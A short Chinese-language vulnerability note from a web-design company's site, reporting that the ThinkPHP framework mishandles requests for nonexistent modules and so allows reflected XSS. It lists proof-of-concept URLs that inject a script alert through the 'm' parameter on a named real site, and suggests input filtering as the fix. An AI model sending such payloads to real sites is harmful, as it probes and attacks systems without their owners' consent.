知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询：361652718 513960520
当前位置 > 首页 > 知识学堂 > 网站建设知识
ThinkPHP开发框架xss
更新时间：2011-12-26 | 发布人：本站 | 点击率：511 次
简要描述：开源php开发框架默认存在xss漏洞，导致所有使用该框架开发的系统都存在xss漏洞
 
详细说明：对不不存在的模块处理错误不当，导致xss漏洞
 
漏洞证明：
 
以超级巡警测试
 
 
 
http://i.sucop.com/?m='"><script>alert(3);</script><"&a=login
 
http://i.sucop.com/index.php?m='"><script>alert(0214559);</script><"&a=help&
 
http://i.sucop.com/index.php?m='"><script>alert(0214559);</script><"&a=help&
 
 
 
去看看
 
修复方案：设置好过滤吧~~~
分享到： QQ空间 新浪微博 开心网 人人网
相关文章